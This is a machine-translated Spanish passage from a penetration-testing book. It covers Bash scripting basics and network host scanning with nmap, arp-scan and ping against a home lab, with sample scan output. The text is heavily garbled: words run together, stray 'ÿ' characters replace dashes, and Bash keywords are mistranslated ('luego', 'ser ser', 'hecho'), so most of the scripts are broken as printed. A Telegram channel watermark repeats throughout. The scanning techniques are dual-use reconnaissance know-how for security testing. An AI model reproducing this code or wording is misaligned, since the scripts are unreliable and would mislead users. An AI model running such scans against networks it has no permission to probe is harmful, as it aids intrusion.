NÚM3 = $ {3: -0} # Almacenarelcuartoparámetroinnum4variable NÚM4=${4:-0} # Almacenar la variable del quinto parámetro innum5 NUM5=${5:-0} #Almacenarlosresultadosadicionalesenlavariabletotal TOTAL=$(($NUM1+$NUM2+$NUM3+$NUM4+$NUM5)) Canal de Telegram : @IRFaraExam Machine Translated by Google echo'#######################' printf"%s%d\n""Thetotalis="$TOTAL echo'###### ##################' Para entender cómo funciona, veamos la variable NUM1 como ejemplo (el mismo concepto se aplica a las cinco variables). Le diremos que lea el primer parámetro {1 de la ventana de la terminal, y si no lo proporciona el usuario, luego configúrelo en cero, como en :ÿ0} . Usando las variables predeterminadas, no estamos limitados a agregar cinco números; de ahora en adelante, podemos agregar tantos números como queramos, pero el máximo es cinco (en el siguiente ejemplo, agregaremos tres dígitos): root@kali:~#simpleadd.sh244 ####################### El total es = 10 ####################### PROPINA Si desea conocer la cantidad de parámetros proporcionados en el script, puede usar $ # para obtener el total. Si agrega la siguiente línea después de la línea printf : printf"%s%d\n""Elnúmerototaldeparámetros="$# deberías ver lo siguiente en la ventana de la terminal: root@kali:~#simpleadd.sh244 ####################### El total es = 10 El número total de parámetros = 3 ####################### Canal de Telegram : @IRFaraExam Machine Translated by Google Entrada del usuario Otra forma de interactuar con la entrada suministrada desde el script de shell es usar la función de lectura. De nuevo, la mejor manera de explicar esto es a través de ejemplos. Le pediremos al usuario que ingrese su nombre y apellido, después de lo cual imprimiremos el nombre completo en la pantalla: #!/bin/bash read-p"Por favor, introduzca su nombre:"FIRSTNAME read-p"Por favor, introduzca su apellido:"APELLIDO printf"Su nombre completo es:$FIRSTNAME$LASTNAME\n" Para ejecutarlo, solo ingresamos el nombre del script (no necesitamos proporcionar ningún parámetro como lo hicimos antes). Una vez que ingresamos el nombre del script, se nos solicitarán los mensajes definidos en el script anterior: root@kali:~#nameprint.sh Ingrese su nombre: Gus Ingrese su apellido: Khawaja Su nombre completo es: Gus Khawaja Funciones Las funciones están lejos de organizar su secuencia de comandos de Bash en secciones ontológicas en lugar de tener una estructura no organizada (los programadores llaman código spaghetti). Tomemos el programa de calculadora anterior y reorganicémoslo (refactorícelo) para que se vea mejor. Este Bashscript (en la Figura 2.3 ) se divide en tres secciones: En la primera sección, creamos todas las variables globales. Las variables globales son accesibles dentro de cualquier función que cree. Por ejemplo, podemos usar todas las NUM variables declaradas en el ejemplo dentro de la función de agregar . Luego, construimos las funciones dividiendo nuestras aplicaciones en secciones lógicas. La función print_custom () simplemente imprimirá cualquier texto que le demos. Estamos usando el $1 para acceder al valor del parámetro pasado a esta función (que es la cadena CALCULATOR ). Finalmente, llamamos a cada función secuencialmente (cada una por su nombre). Imprime el encabezado, agrega los números y, finalmente, imprime los resultados. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 2.3 Secciones de script Condiciones y bucles Ahora que conoce los conceptos básicos de Bashscripting, podemos introducir técnicas más avanzadas. Cuando desarrolle programas en la mayoría de los lenguajes de programación (p. ej., PHP, Python, C, C++, C#, etc.), incluido Bashscripting, encontrará condiciones ( si declaraciones) y bucles, como se muestra en la Figura 2.4 . Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 2.4 Condiciones y bucles Condiciones Una declaración if toma el siguiente patrón: si[[comparación]] entonces Cierto, hacer algo más Falso, Hacer algo más fi Si ha estado prestando atención, sabe que la mejor manera de explicar este patrón es a través de ejemplos. Desarrollemos un programa que haga ping a un host usando Nmap, y mostraremos el estado de la máquina dependiendo de la condición (el host está activo o inactivo): #!/bin/bash #PingahostusandoNmap Canal de Telegram : @IRFaraExam Machine Translated by Google ###Variables globales### #StoreIPaddress DIRECCIÓN_IP=$1 functionping_host(){ ping_cmd=$ (nmap-sn$IP_ADDRESS|grep'Hostisup'|cut-d'('-f1) } functionprint_status(){ if[[-z$ping_cmd]] luego echo'Hostisdown' else echo'Hostisup' fi } ping_host estado_de_impresión El comando nmap devuelve un texto de cadena vacío si el host está caído o devuelve el valor “Hostis up” si está respondiendo. (Intente ejecutar el comando nmap completo en la ventana de su terminal para visualizar la diferencia. Si es así , reemplace $IP_ADDRESS con una dirección IP real). En la condición if , la opción ÿz verificará si la cadena está vacía; root@kali:~#simpleping.sh10.0.0.11 Hostisdown root@kali:~#simpleping.sh10.0.0.1 Hostisup ¿Qué sucede con otras declaraciones de condición? De hecho, puede comparar números, cadenas o archivos, como se muestra en las tablas 2.1, 2.2 y 2.3. Tabla 2.1 Condiciones numéricas Igual [[x-eqy]] Notequal [[x-ney]] Menos de [[xÿlty] ] Mayor que [[xÿgty]] Canal de Telegram : @IRFaraExam Machine Translated by Google Tabla 2.2 Condiciones de cadena Igual [[str1==str2]] No es igual [[str1!=str2]] Cuerda vacía [[ÿzstr]] Notemptystring [[ÿnstr]] Tabla 2.3 Condiciones de archivo/directorio ¿El archivo existe? [[ÿun nombre de archivo]] ¿Existe el directorio? [[ÿddirectoryname]] ¿Archivo legible? [[ÿrnombre de archivo]] ¿Archivo grabable? [[ÿwnombre de archivo]] ¿Archivo ejecutable? [[ÿxnombre de archivo]] ¿Archivo vacío? [[ÿnombre de archivo]] Bucles Puede escribir bucles de dos maneras diferentes: utilizando un bucle while o un bucle for . Comencemos con un ciclo while que toma la siguiente estructura: while[[condición]] hacer algo hecho La mejor manera de explicar un bucle es a través de un contador del 1 al 10. Desarrollaremos un programa que muestre una barra de progreso: #!/bin/bash #Progressbarwithawhileloop #Encimera CONTADOR=1 #Bar BAR='##########' Canal de Telegram : @IRFaraExam Machine Translated by Google mientras [[$COUNTER-lt11]] hacer #Imprime el progreso de la barra a partir del índice cero echo-ne"\r$ {BAR:0:COUNTER}" # Dormir por 1 segundo dormir 1 #Incrementcounter CONTADOR=$(($CONTADOR+1)) hecho Tenga en cuenta que la condición ( [[$COUNTERÿ lt11 ]] ) en el bucle while sigue las mismas reglas que la condición if . Dado que queremos que el contador termine en 10, . contador, usaremos la siguiente fórmula matemática: contador <11 Cada vez que se mostrará incremente el el progreso. Por otro lado, el bucle for tomará el siguiente patrón: para…en[Listofitems] hacer algo hecho Tomaremos el mismo ejemplo que antes, pero lo usaremos con un bucle for . Se dará cuenta de que el bucle for es más flexible de implementar que el bucle while . (Honestamente, rara vez uso el ciclo while.) Además, no necesitará incrementar su contador de índice; se hace automáticamente para usted: #!/bin/bash #ProgressbarwithaForLoop #Bar BAR='##########' for COUNTERin{1..10} do #Printthebarprogressstartingfromthezeroindex echo-ne"\r${BAR:0:$COUNTER}" # Sleepfor1second sleep1 hecho Iteración de archivos Esto es lo que debe hacer para simplemente leer un archivo de texto en Bash usando el bucle for : Canal de Telegram : @IRFaraExam Machine Translated by Google forlinein$(catfilename) hacer algo hecho En el siguiente ejemplo, guardaremos una lista de direcciones IP en un archivo llamado ips.txt. Luego, reutilizaremos el programa Nmapping (que creamos previamente) para comprobar si todas las direcciones IP están activas o inactivas. Además, comprobaremos el nombre DNS de cada dirección IP: #!/bin/bash #Ping&getDNSnamefromalistofIPsavedinafile #Solicitar al usuario que introduzca un nombre de archivo y su ruta. read-p"Ingrese las direcciones IPnombre del archivo/ruta:"FILE_PATH_NAME functioncheck_host() { #ifnottheIPaddressvalueisvacyif[[-n$IP_ADDRESS]] entonces ping_cmd=$(nmap-sn$DIRECCIÓN_IP|grep'Hostisup' |cortar-d'('-f1) eco'-----------------------------------------------' si[[-z$ping_cmd]] entonces printf"$IP_ADDRESSEstá caído\n" demás printf"$IP_ADDRESSisup\n" nombre_dns ser ser } functiondns_name(){ dns_name=$ (host$IP_ADDRESS) printf"$dns_name\n" } #Iterar a través de las direcciones IP dentro del archivo para ipin$ (cat$FILE_PATH_NAME) do IP_ADDRESS=$ip check_host hecho Canal de Telegram : @IRFaraExam Machine Translated by Google Si ha seguido detenidamente este capítulo, debería poder entender todo lo que ve en el código anterior. La única diferencia en este programa es que utilicé el espacio entre tabuladores para que la secuencia de comandos se viera mejor. El ejemplo anterior cubre la mayor parte de lo que hemos hecho hasta ahora, incluido lo siguiente: Entrada del usuario Declaringvariables Uso de funciones Uso de condiciones if Repeticiones Imprimiendo en la pantalla Resumen Espero que haya practicado todos los ejercicios de este capítulo, especialmente si es nuevo en la programación. Muchos de los conceptos mencionados se aplicarán a muchos lenguajes de programación, así que considere los ejercicios como una oportunidad para aprender los conceptos básicos. Personalmente, uso secuencias de comandos de Bash para escenarios pequeños y rápidos. Si desea crear aplicaciones más complejas, puede intentar hacerlo en Python. ¡No se preocupe! Aprenderá sobre Python al final de este libro para que pueda abordar cualquier situación que desee en su carrera como probador de penetración. Finalmente, este capítulo abarcó mucha información acerca de Bash scripting. Sin embargo, hay mucha más información de la que se encuentra en este capítulo. En la práctica, utilizo motores de búsqueda en Internet para encontrar rápidamente referencias de Bash scripting. De hecho, no es necesario que memorice todo lo que aprendió en este capítulo. Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 3 RedHostsEscaneo Este capítulo es su primer paso en el flujo de trabajo de las pruebas de penetración. Tanto si es un lector avanzado como si es un novato, este capítulo le ayudará a realizar el escaneo de su red con éxito. Este capítulo cubre lo siguiente: Los fundamentos de las redes Identificación de hosts activos Escaneo de puertos Enumeración de servicios Huellas dactilares del sistema operativo Nmapscriptingengine Búsqueda de subdominios Conceptos básicos de las redes Antes de comenzar a escanear e identificar hosts, primero debe comprender los conceptos básicos de las redes. Por ejemplo, ¿por qué usamos 10.0.0.1/16? ¿O qué es un protocolo de enlace TCP? ¡Comencemos! Protocolos de red Los siguientes son los dos protocolos de red principales que debe tener en cuenta para escanear una red con éxito. TCP El Protocolo de Control de Transmisión (TCP) es el principal utilizado en la infraestructura de red. Cada servidor de aplicaciones (HTTP, FTP, SMTP, etc.) utiliza este protocolo para conectar correctamente al cliente con el servidor. Canal de Telegram : @IRFaraExam Machine Translated by Google TCP utiliza un concepto denominado protocolo de enlace de tres vías para establecer una conexión de red. Primero, para iniciar una sesión TCP, el cliente envía un paquete SYN (sincronizar) al servidor. El servidor recibe el SYN y responde al cliente con un paquete de sincronización/reconocimiento (SYN/ACK). Por ejemplo, la Figura 3.1 muestra un escenario del Sr. Bob navegando por Internet y buscando en Google (el servidor web) usando su navegador (cliente) visitando www.google.com . Figura 3.1 Apretón de manos TCP Es esencial comprender el concepto del protocolo de enlace TCP. Los escáneres de red como Nmap lo utilizan para identificar hosts activos, puertos abiertos y mucho más (aprenderá más sobre esto en las próximas secciones). Un sniffer de red como Wireshark es una buena herramienta para aprender cómo funcionan las redes informáticas. ¿Por qué? Porque un sniffer de red escuchará todo el tráfico entrante y saliente a través de la tarjeta de red. Para iniciar Wireshark, simplemente escriba su nombre ( $wireshark ) en la ventana del terminal. A continuación, deberá seleccionar la interfaz de red; es Ethernet eth0 o En este . caso, estamos usando eth0 y ,luego wlan0haremos clic en Iniciar WiFi en la esquina superior izquierda de la pantalla (consulte la Figura 3.2). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 3.2 Selección de interfaz de red Wireshark La figura 3.3 se toma de WiresharkonmyKali (10.0.0.20), que aparece cuando abro mi navegador y voy a Google.com . Si mira de cerca, puede ver los paquetes [SYN], [SYNACK] y [ACK]. Figura 3.3 Captura de Wireshark UDP El Protocolo de datos de usuario (UDP) es una conexión de red sin conexión . A diferencia de la conexión TCP, el cliente y el servidor UDP no garantizarán la transmisión de un paquete, por lo que no hay protocolo de enlace de tres vías en UDP. Otros protocolos de red TCP y UP son los protocolos de red más populares, pero otros tipos de Canal de Telegram : @IRFaraExam Machine Translated by Google los protocolos existen también. En esta sección, cubriremos el resto de ellos. ICMP El protocolo de mensajes de control de Internet (ICMP) se usa para probar la conectividad. La herramienta Ping usa este protocolo para probar si una red host está activa y funcionando ( traceroute también lo usa de manera predeterminada). root@kali:~#ping10.0.0.1-c3 PING10.0.0.1(10.0.0.1)56(84)bytesdedatos. 64 bytes de 10.0.0.1: icmp_seq = 1ttl = 64 tiempo = 0,706 ms 64 bytes de 10.0.0.1: icmp_seq = 2ttl = 64 tiempo = 0,725 ms ---10.0.0.1estadísticas de ping--- 3 paquetes transmitidos, 3 recibidos, 0 % de pérdida de paquetes, tiempo 2033 ms rttmin/avg/max/ mdev=0.506/0.645/0.725/0.099ms La figura 3.4 muestra Wireshark con el filtro icmp aplicado: Figura 3.4 Filtro ICMP de Wireshark ARP El protocolo de resolución de direcciones (ARP) es un mecanismo que asigna direcciones IPv4 a direcciones MAC. Este concepto es esencial para que funcione una red interna. Los enrutadores se conectan entre sí a través de Internet a través de direcciones IP (capa 3), pero una vez que el paquete está dentro de su red, se usará una tabla ARP usando direcciones MAC (capa 2). Puede usar el comando arpÿa para obtener la lista de elementos dentro de la tabla ARP (guardada localmente en su host local): root@kali:~#arp-a ? (10.0.0.10)at70:5a:0f:f6:fc:3a[éter]oneth0 USGPRO(10.0.0.1)atb4:fb:e4:2f:04:3d[éter] oneth0 Las capas se refieren a las capas OSI mostradas anteriormente (consulte la Tabla 3.1). La interconexión de sistema abierto (OSI) separa una conexión de red en Canal de Telegram : @IRFaraExam Machine Translated by Google diferentescapas. Tabla 3.1 Capas OSI NÚMERO NOMBRE PROTOCOLO EJEMPLOS DISPOSITIVO EJEMPLOS 1 Enlace de 2 datos físico MAC, VLAN, etc. Interruptores 3 Red IPv4/v6ICMP, etc. Enrutadores 4 Transporte TCPUDP N/A 5 Sesión NA N/A 6 Presentación NA N/A 7 Aplicación FTP, HTTP, Telnet, etc. Cortafuegos, proxies, etc. Ethernet, etc. cabos Dirección IP El Protocolo de Internet (IP) es uno de los principales pilares de las redes para que las computadoras pueden comunicarse entre sí. Las direcciones IP se dividen en dos versiones:IPv4 y IPv6. IPv4 IPv4 es de 32 bits, pero siempre se presenta en formato decimal, como 192.168.0.1, que es igual a 11000000.10101000.00000000.00000001. Es más fácil de escribir itinadecimalformatinsteadofinbinary, ¿verdad? Las direcciones IP se dividen en públicas, que se utilizan en Internet, y privadas, que se utilizan en una intranet. Su dirección IP pública probablemente se le suministró automáticamente por su proveedor de servicios de Internet (ISP) a menos que haya comprado una dirección IP pública. Estos son los intervalos de direcciones IPv4 privadas: 10.0.0.0 a 10.255.255.255 (10.xxx), con alrededor de 16 millones de direcciones 172.16.0.0 a 172.31.255.255 (172.16.x.x a 172.31.xx), con aproximadamente 1 millones de direcciones 192.168.0.0 a 192.168.255.255 (192.168.xx), con unas 65.000 direcciones SubredesyCIDR El rol de la subred es dividir una red en rangos más pequeños (red Canal de Telegram : @IRFaraExam Machine Translated by Google segmentación). Una subred identificará el número de hosts dentro de un rango de IP. ejemplo, 192.168.0.1 podría tener una máscara de subred 255.255.255.0, lo que significa que podemos usar 254 hosts dentro de este rango de IP. Enrutamiento entre dominios sin clases (CIDR) se creó para simplificar las máscaras de subred. Si tomamos el ejemplo anterior, podemos escribir la subred/24 (el CID equivalente) en lugar de uno largo. Mesa 3.2 enumera las subredes y las máscaras de red que puede usar como referencia. Tabla 3.2 Subredes y CIDR MÁSCARA DE RED CIDR #OFHOSTS /30 255.255.255.252 2 /29 255.255.255.248 6 /28 255.255.255.240 14 /27 255.255.255.224 30 /26 255.255.255.192 62 /25 255.255.255.128 126 /24 255.255.255.0 254 /23 255.255.254.0 510 /22 255.255.252.0 1.022 /21 255.255.248.0 2.046 /20 255.255.240.0 4.094 /19 255.255.224.0 8.190 /18 255.255.192.0 16.382 /17 255.255.128.0 32.766 /dieciséis 255.255.0.0 65,534 /15 255.254.0.0 131,070 /14 255.252.0.0 262,142 /13 255.248.0.0 524,286 /12 255.240.0.0 1,048,574 /11 255.224.0.0 2,097,150 /10 255.192.0.0 4,194,302 /9 255.128.0.0 8,288,606 Canal de Telegram : @IRFaraExam Machine Translated by Google /8 255.0.0.0 16,777,216 IPv6 Hasta ahora, estamos rediseñando IPv4 en gran medida para poner en funcionamiento la infraestructura de red. Ha habido algunos intentos de cambiar de IPv4 a IPv6, ya que el mundo se quedará sin direcciones IPv4 algún día. Debe comprender al menos cómo funciona IPv6 en la práctica. El formato IPv6 es de 128 bits de caracteres hexadecimales. Este es un ejemplo de IPv6 que vale trillones de palabras: fff0:0000:eeee:0000:0000:0000:fe77:03aa Usaremos este ejemplo para ver cómo funciona el formato IPv6. 1. Para seguir las especificaciones de IPv6 primero, necesitamos eliminar los ceros iniciales. Antes: fff0:0000:eeee:0000:0000:0000:fe77:03aa Después:fff0:0:eeee:0:0:0:fe77:3aa 2. Comprimir la serie de ceros (en nuestro caso, hay tres series de ceros) y reemplácelos con ::. Antes: fff0:0:eeee:0:0:0:fe77:3aa Después:fff0:0:eeee::fe77:3aa Tenga en cuenta que en IPv6, puede comprimir una serie de ceros solo una vez. Números de puerto Los números de puerto y las direcciones IP son como hermanos y hermanas. Sin un número de puerto, un paquete de red nunca podrá llegar a su destino. Un número de puerto es como una dirección cívica. Imagine que está utilizando su navegador para llegar a www.google.com . Su paquete necesitará la dirección IP del host del servidor web y el número de puerto, que de manera predeterminada es 443 para HTTPS. En el mismo servidor (con la misma dirección IP), Google podría alojar otros servicios como FTP, por ejemplo; entonces el paquete usará el puerto 21 para llegar a él. La Tabla 3.3 enumera los números de puerto predeterminados más comunes que necesitará saber mientras escanea una red. Canal de Telegram : @IRFaraExam Machine Translated by Google Tabla 3.3 Números de puertos comunes NOMBRE DE PROTOCOLO N.° DE PUERTO NOMBRE DE PROTOCOLO N.° DE PUERTO FTP TCP21 LDAP sobre SSL TCP636 SSH/SCP TCP22 FTP sobre SSL TCP989–990 Telnet TCP23 IMAP sobre SSL TCP993 SMTP TCP25 POP3 sobre SSL TCP995 DNSQuery UDP53 MSÿSQL TCP1433 Transferencia de zona DNS TCP53 NFS TCP2049 DHCP DockerDaemon TCP2375 UDP67 UDP68 TFTP UDP69 base de datos Oracle TCP2483–2484 HTTP TCP80 mysql TCP3306 Kerberos UDP88 PDR TCP3389 POP3 TCP110 VNC SNMP UDP161 TCP5500 PC en cualquier lugar TCP5631 IRC TCP6665–6669 IRCSSL TCP6679 UDP162 NetBIOS TCP/UDP137 TCP/UDP138 TCP/UDP139 IMAP TCP143 TCP6697 LDAP TCP389 BitTorrent TCP6881–6999 HTTPS (TLS) TCP443 Impresoras TCP9100 SMTPoverSSL TCP465 WebDAV TCP9800 iniciar sesión TCP513 Webmin 10000 Esta tabla enumera los números de puerto más populares que personalmente creo que mustknow.Para obtener una lista completa, consulteWikipedia en en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers . Escaneo de red Ahora que comprende los conceptos básicos de la creación de redes, es hora de comenzar la acción. Canal de Telegram : @IRFaraExam Machine Translated by Google En las próximas secciones, aprenderá a identificar hosts de destino en el la red. IdentificandoLiveHosts Hay varias formas de determinar si un host está activo y ejecutándose en el la red. Silbido Puede usar Ping para verificar rápidamente la conexión de red. ¿trabajar bajo el capó? Cuando ejecuta el comando ping , su Kalihost enviará un ICMPecho solicitud al destino, y luego, el objetivo responderá con un ICMP echoreplypacket. Por lo tanto, puede decir que el objetivo está vivo. El comando ping es útil para los administradores del sistema, pero somos la élite, ¿verdad? por qué debe usar Nmap para buscar hosts en vivo. Finalmente, debe tener en cuenta que algunos administradores del sistema cerrarán el ICMP en el nivel del firewall para bloquear los piratas informáticos comprueben la conectividad de algunos servidores. ARP AddressResolutionProtocol es una utilidad fantástica que mapea direcciones IP en direcciones MAC físicas en una red local. Ahora, podemos aprovechar el contenido de la tabla ARP para enumerar todos los hosts en el misma red utilizando el comando arpÿscan en Kali : raíz@kali:~#arp-scan10.0.0.1/24 Interfaz: eth0, tipo: EN10MB, MAC: 00: 0c: 29:40: e7: a6, IPv4: 10.0.0.20 ADVERTENCIA:hostpartof10.0.0.1/24isnon-zero Comenzando arp-scan 1.9.7 con 256 hosts (https:// github.com/royhills/arp-scan) Ubiquiti Networks Inc. Ubiquiti Networks Inc. Ubiquiti Networks Inc. Hewlett Packard SynologyIncorporado Ubiquiti Networks Inc. b4:fb:e4:2f:04:3d10.0.0.1fc:ec:da:d4:d5:9910.0.0.210.0.0.5b4:fb:e4:1b:c4:d270:5a:0f:f6:fc: 3a10.0.0.1010.0.0 Apple Inc. Nmap Canal de Telegram : @IRFaraExam Machine Translated by Google Ha llegado el momento de mostrarle mi herramienta favorita que utilizo para identificar hosts activos: Nmap. Deberá utilizar las siguientes opciones de comando para realizar el trabajo: $nmap-sn[Dirección IP/Rango] Para ayudarlo a memorizarlo, piense en la opción ÿs como Sam y N es Nanny. El significado real de estas áreas de opciones es el siguiente: n es para No. es para Escanear. Es por eso que el nombre de esta opción es No Port Scan. Algunas personas lo llaman Ping Scan, pero no lo mezclen con la herramienta ICMPPing de la que hablamos anteriormente en este capítulo. Dicho esto, veamos por qué esta opción es mágica. Para identificar hosts activos, Nmap intentará hacer lo siguiente: 1. Enviará una solicitud de eco ICMP y Nmap no se rendirá si ICMP es obstruido. 2. Además, enviará una solicitud de marca de tiempo ICMP. 3. Enviará un paquete ACK al puerto 80 y un paquete SYN al puerto 443. 4. Finalmente, enviará una solicitud AR. Es tan poderoso, ¿verdad? Es importante entender que necesitará ser root (o miembro del grupo sudo ) en su Kalibox, o sus opciones serán limitadas, y no podrá ejecutar todas estas funcionalidades. Pongamos a Sam y Nanny en acción: root@kali:~#nmap-sn10.0.0.1/24 A partir de Nmap7.80(https://nmap.org)en2020-10-0509:25EDT NmapscanreportforUSGPRO(10.0.0.1) Hostsup (0.00036 latencia). Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks) Nmapscanreportforunifi(10.0.0.2) Hostsup (0.00027 latencia). Dirección MAC: FC: EC: DA: D4: D5: 99 (UbiquitiNetworks) Nmapscan informa para 10.0.0.5 host está activo (latencia de 0,0024). Dirección MAC: B4: FB: E4: 1B: C4: D2 (Ubiquiti Networks) Nmapscan informa para 10.0.0.10 Hostsup (0.0081 latencia). Dirección MAC: 70: 5A: 0F: F6: FC: 3A (HewlettPackard) Nmapscan informa para 10.0.0.50 Host (0.00066 latencia). Canal de Telegram : @IRFaraExam Machine Translated by Google Dirección MAC: 00: 11: 32: 94: 25: 4C (Synology Incorporated) Escaneo de puertos y enumeración de servicios Una de las tareas que se le pedirá durante el análisis de red es buscar los puertos abiertos en cada host. ¿Por qué? Supongamos que desea conocer los servidores web en la red de área local (LAN); el análisis de puertos le permitirá obtener esta información fácilmente. Veamos cómo Nmap maneja esta tarea como un jefe. TCPPortSYNScan Hay muchas opciones en Nmap para ejecutar un escaneo de puertos, pero la que yo siempre uso para TCP es el escaneo SYN. De hecho, Nmap ejecutará este tipo de escaneo de puertos de manera predeterminada: $nmap-sS[Dirección IP/Rango] Para memorizarlo, puede correlacionar la opción ÿs con Sam y Samantha. Piense siempre en Sam y Samantha cuando desee ejecutar un escaneo de puertos . Hice los términos SAMÿSamantha para que los puedas memorizar fácilmente. Permítame explicarle cómo funciona el escaneo SYN en Nmap. El escáner, cuando se suministra con la opción sS , enviará una solicitud SYN al servidor, y si se recibe un SYN / ACK en respuesta, mostrará que el puerto está abierto. Y si el escáner no recibió un SYN/ACK, está cerrado o filtrado . Para el registro, filtrado significa que un firewall lo está protegiendo: root@kali:~#nmap-sS10.0.0.1 Iniciando Nmap7.80(https://nmap.org)en2020-10-0509:27EDT NmapscanreportforUSGPRO(10.0.0.1) Hostsup (0.00051 latencia). No se muestra: 996 puertos cerrados PORTSTATESERVICE 22/tcpopenssh 53/tcpopendomain 80/tcpopenhttp 443/tcpopenhttps MACAddress:B4:FB:E4:2F:04:3D(UbiquitiNetworks) Nmapdone: 1 dirección IP (1 host up) escaneada en 0,25 segundos UDP Canal de Telegram : @IRFaraExam Machine Translated by Google Ahora, ¿qué pasa con el escaneo de puertos UDP? Para usar el escaneo de puertos UDP en Nmap, debe agregar la opción sU : $nmap-sU[Dirección IP/Rango] Es importante tener en cuenta que UDP es lento debido a su naturaleza sin conexión. Siempre podemos usar la opción de temporización T5 para ajustar y hacerlo más rápido. Los cortafuegos pueden bloquear fácilmente T5 en una dirección de Internet. $nmap-sU-T5[Dirección IP/Rango] Por lo tanto, para que el escáner UDP identifique si el puerto está abierto o cerrado, enviará un paquete UDP y esperará una respuesta del destino. Si Nmap obtiene una respuesta o no, probablemente el puerto esté abierto. Por otro lado, si el escáner recibe un error ICMP, entonces el puerto se cierra o se filtra: root@kali:~#nmap-sU-T510.0.0.1 A partir de Nmap7.80(https://nmap.org)a las 2020-10-0509:28EDT Advertencia:10.0.0.1 cediendo en el puerto porque hay un límite de transmisión (2). NmapscanreportforUSGPRO(10.0.0.1) Hostsup (0.0014 latencia). No se muestra: 875 abiertos | puertos filtrados, 123 puertos cerrados PORTSTATESERVICE MACAddress:B4:FB:E4:2F:04:3D(UbiquitiNetworks) 53/udpopendomain 123/udpopenntp Nmapdone: 1 dirección IP (1 host up) escaneada en 119,25 segundos Conceptos básicos del uso de escaneos de Nmap Analicemos los conceptos básicos de Nmap. Si ejecuta Nmap sin ninguna opción, la herramienta usará tres funcionalidades significativas de forma predeterminada: Establecerá la velocidad en T3. Explorará los puertos TCP1000 superiores. Suponiendo que esté enraizado en su Kalibox, establecerá el escaneo SYNTCP de manera predeterminada. En otras palabras, todo esto sucede en el backend, lo que significa que no Canal de Telegram : @IRFaraExam Machine Translated by Google Es necesario especificar la velocidad T3, porque está allí de manera predeterminada. Es lo mismo que para los números de puerto (no es necesario agregar ÿÿtop ÿports1000 ) o el escaneo TCPSYNS (no es necesario agregar la opción ÿsS) . Para la parte de ajuste, recuerde siempre elegir la velocidad con prudencia. Por ejemplo, no utilice una velocidad rápida como T5 en una dirección IP de producción; en su lugar, quédese con la predeterminada (T3). #AquickerTCPscan $nmap–-top-ports100-T5[IPAddress/Rango] Si está apuntando a un puerto específico, use la opción ÿp , seguida del número de puerto, el rango o la lista: #ParabuscarelpuertoHTTP80enlared $nmap-p80[DirecciónIP/ Rango] Por último, si desea incluir todos los puertos, use ÿpÿ (también puede usar ÿp 1ÿ65535 ) para escanear cada puerto individual (escanear todos los números de puerto revelará cualquier aplicación oculta). root@kali:~#nmap-p--T510.0.0.1 Iniciando Nmap7.80(https://nmap.org)en2020-10-0509:35EDT NmapscanreportforUSGPRO(10.0.0.1) Hostsup (0.00097 latencia). No se muestra: 65531 puertos cerrados PORTSTATESERVICE 53/tcpopendomain 22/tcpopenssh 80/ tcpopenhttp 443/tcpopenhttps MACAddress:B4:FB:E4:2F:04:3D(UbiquitiNetworks) Nmapdone: 1 dirección IP (1 host up) escaneada en 9.91 segundos ServiciosEnumeración Canal de Telegram : @IRFaraExam Machine Translated by Google Es hora de ver cómo ejecutar un escaneo de versión de servicio usando el mejor escáner: Nmap . La opción para realizar un análisis de versiones en Nmap es ÿsV . manera de memorizar las opciones de comando en Nmap para aplicar un significado a cada letra. Por ejemplo, la s significa escaneo y la V significa versión. Fácil, ¿verdad? Por eso se llama versioncan . Tome nota de que la aversión puede llevará más tiempo que un escaneo de puertos normal, ya que intentará identificar el tipo de servicio. En el siguiente ejemplo, escanearemos el mismo host que usamos antes, pero esta vez agregaremos la opción ÿsV ( consulte la columna de versión): root@kali:~#nmap-p--T5-sV10.0.0.1 A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:36EDT NmapscanreportforUSGPRO(10.0.0.1) Hostsup (0.00097 latencia). No se muestra: 65531 puertos cerrados VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 22/tcpopensh2.0) OpenSSH6.6.1p1Debian4~bpo70+1(protocolo 53/tcpopendomaindnsmasq2.78-23-g9e09429 80/tcpopenhttplighthttpd 443/tcpopenssl/httpUbiquitiEdgerouterhttpd Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks) ServiceInfo: SO: Linux; Dispositivo: enrutador; CPE: cpe: / o: linux: linux_kernel Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/ submit/. Nmapdone: 1 dirección IP (1 host up) escaneada en 25,88 segundos Este es un buen consejo para hacer que las versiones sean aún más rápidas. ¿Listo? Ya que estamos listos escaneado para los puertos abiertos previamente, no necesitamos escanear para todos los puertos nuevamente usando ÿpÿ . En su lugar, solo podemos especificar los números de puerto que identificados en los puertos pueden previamente (comparar el tiempo de velocidad con el anterior versiones escaneadas; ¡es la mitad del tiempo!): root@kali:~#nmap-p22,53,80,443-T5-sV10.0.0.1 A partir de Nmap7.80(https://nmap.org) a las 2020-10-0509:39EDT NmapscanreportforUSGPRO(10.0.0.1) Hostsup (0.00092 latencia). VERSIÓN DEL SERVICIO DEL ESTADO DEL PUERTO 22/tcpopensh2.0) OpenSSH6.6.1p1Debian4~bpo70+1(protocolo 53/tcpopendomaindnsmasq2.78-23-g9e09429 80/tcpopenhttplighthttpd Canal de Telegram : @IRFaraExam Machine Translated by Google 443/tcpopenssl/httpUbiquitiEdgerouterhttpd Dirección MAC: B4: FB: E4: 2F: 04: 3D (Ubiquiti Networks) ServiceInfo: SO: Linux; Dispositivo: enrutador; CPE: cpe: / o: linux: linux_kernel Detección de servicio realizada. Informe cualquier resultado incorrecto en https://nmap.org/submit/. Nmapdone: 1 dirección IP (1 host up) escaneada en 13,63 segundos Finalmente, puede cambiar las versiones de agresividad. En otras palabras, qué tan profundo ¿desea que Nmap escanee la versión de cada servicio? Cuanto mayor sea la intensidad, más tiempo tardará en escanear el host de destino. La Tabla 3.4 resume opciones de intensidad de versión: Table3.4 NmapVersionIntensity OPCIÓN NMAPO DESCRIPCIÓN ÿÿversionÿintensity[0ÿ9] 9 es la intensidad más alta y el valor predeterminado es 7. ÿÿversiónÿlight Es equivalente a ÿÿversionÿintensity2 . ÿÿversiónÿtodas Esequivalente a ÿÿversionÿintensity9 . PROPINA Siempre puede usar el comando nmap-h para enumerar todas las opciones dentro Nmapaen caso de que olvides alguno de ellos.Te llevará añosde práctica parasabérmelosdecorazón. En el siguiente 